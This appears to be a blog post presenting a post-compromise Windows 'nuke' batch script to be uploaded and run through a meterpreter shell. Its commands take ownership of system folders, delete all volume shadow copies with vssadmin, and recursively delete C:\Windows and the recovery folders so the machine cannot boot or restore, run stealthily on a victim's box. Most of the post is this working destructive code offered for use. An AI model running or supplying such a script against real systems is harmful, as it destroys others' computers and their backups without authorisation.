Windows equivalent of rm -rf /

For todays exercise I have created a scenario where the target Windows system needs to be nuked after a successful compromise so that it cannot boot back to windows. Being a Linux user I have always liked a possibility to nuke the mounted root partition by a simple single command like “rm -rf / “. After all it is my system and I can zap it whenever I want to. In windows it is a little harder and I am sure there are tons of howtos available on the Internet. I needed something stealthy which would run via meterpreter shell in the background of the target windows box. So obviously nuking the users files is not a good idea. We just want to make sure that upon next reboot the machine will barf up a “Black screen of Death”.

So we  have “bypassed” all the pesky AVs and have a nice admin shell


Next we upload the following batch to the target system, lets call it nuke.bat

 @echo off
echo Taking ownership....
takeown /f c:\* >nul 2>nul
takeown /f %windir%\* >nul 2>nul
takeown /f %windir%\system32 >nul 2>nul
takeown /f %windir%\system32\* >nul 2>nul
takeown /f %windir%\system32\drivers >nul 2>nul
takeown /f %windir%\system32\drivers\*  >nul 2>nul
takeown /f c:\recovery >nul 2>nul
takeown /f c:\recovery\* >nul 2>nul
takeown /f c:\perflogs >nul 2>nul
takeown /f c:\perflogs\* >nul 2>nul
takeown /f "c:\system volume information\" >nul 2>nul
takeown /f "c:\system volume information\*" >nul 2>nul

icacls c:\* /grant administrators:f /t >nul 2>nul
icacls %windir% /grant administrators:f /t >nul 2>nul
icacls %windir%\* /grant administrators:f /t >nul 2>nul
icacls %windir%\system32 /grant administrators:f /t >nul 2>nul
icacls %windir%\system32\* /grant administrators:f /t >nul 2>nul
icacls %windir%\system32\drivers /grant administrators:f /t >nul 2>nul
icacls %windir%\system32\drivers\* /grant administrators:f /t >nul 2>nul
icacls c:\recovery /grant administrators:f /t >nul 2>nul
icacls c:\recovery\* /grant administrators:f /t >nul 2>nul
icacls c:\perflogs /grant administrators:f /t >nul 2>nul
icacls c:\perflogs\* /grant administrators:f /t >nul 2>nul
icacls "c:\system volume information\" /grant administrators:f /t >nul 2>nul
icacls "c:\system volume information\*" /grant administrators:f /t >nul 2>nul

echo Nuking system files...
vssadmin delete shadows /All /Quiet >nul 2>nul 
vssadmin delete shadows /All /Quiet >nul 2>nul 
rmdir c:\PrefLogs /s /q >nul 2>nul 
rmdir c:\Recovery /s /q >nul 2>nul
rmdir "C:\System Volume Information" /s /q >nul 2>nul
rmdir c:\Windows /s /q >nul 2>nul

echo Done

You need admin privileges for this to work and remember that it will nuke the System !



This operation takes some time maybe around 2 minutes, the HDD will be working really hard to process all those files, but in Windows all looks fine and the system seems to be running fine…

nuked-winBut when we reboot…

deadWindows cannot fix itself from the recovery console and it wont be able to restore any snapshots as we have deleted them from the batch command. The user files are left intact, there is no need nuke those.

I still prefer the rm -rf / from my linux box though, windows version is much more cumbersome, but maybe there is some magic one-liner in powershell perhaps ?

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One Response to Windows equivalent of rm -rf /

  1. pentest0r says:

    Hi guys , welcome comeback ~~~

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